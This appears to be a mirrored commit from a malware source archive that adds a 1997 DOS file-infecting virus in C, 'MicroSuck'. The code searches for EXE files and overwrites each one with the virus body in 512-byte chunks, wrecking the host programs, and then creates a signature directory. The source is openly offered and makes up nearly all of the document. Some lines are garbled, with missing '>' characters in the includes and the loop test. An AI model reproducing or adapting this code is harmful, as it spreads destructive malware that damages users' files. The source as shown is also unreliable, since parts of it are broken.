mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,42 @@
|
||||
/* MicroSuck V.1.0 (c)YeahRight! 1997 By: Techno Phunk
|
||||
one of many high level language viruses writen to shut
|
||||
up some of the people in a.c.v.s.c (alt.comp.virus.source.code)
|
||||
and to show them that it can be done (even by me who has only about
|
||||
2 hours of C++ experience) compile with tc.exe (editor), exe normal
|
||||
This is based on the C++ virus in virology 101, since it is what I
|
||||
looked at to see how to write a virus in C++ I added something
|
||||
before puting it here, and forgot to check for the new size
|
||||
so YOU will have to compile it once, look at the size, then change
|
||||
the variable x to the size....otherwise the "virus" will not be copied
|
||||
compleatly */
|
||||
#include <stdio.h
|
||||
#include <dir.h
|
||||
#include <dos.h
|
||||
FILE *Virus,*Host;
|
||||
char buff[512];
|
||||
int x,y,done;
|
||||
struct ffblk ffblk;
|
||||
int main()
|
||||
{
|
||||
done = findfirst("*.EXE",&ffblk,0); /* Find a host (EXE file) */
|
||||
while (!done)
|
||||
{
|
||||
Host=fopen(ffblk.ff_name,"rb+"); /* Open host */
|
||||
Virus=fopen(_argv[0],"rb"); /* Open our virus */
|
||||
/* may need to modify the next line */
|
||||
x=12099; /* our lifeforms size */
|
||||
while (x512) /* here we overwrite the host */
|
||||
{ /* 512 byte chunks at a time */
|
||||
fread(buff,512,1,Virus); /* ^ sector size ;), could be anything */
|
||||
fwrite(buff,512,1,Host);
|
||||
x-=512;
|
||||
} /* if 512 or less byes */
|
||||
fread(buff,x,1,Virus); /* Finish infection */
|
||||
fwrite(buff,x,1,Host);
|
||||
fcloseall(); /* Close */
|
||||
done = findnext(&ffblk); /* try agian */
|
||||
}
|
||||
mkdir ("MicroSuck (c) 1997 By: Techno Phunk") /* activation would go */
|
||||
/* here */
|
||||
return (0); /* Terminate */
|
||||
}
|
||||
Reference in New Issue
Block a user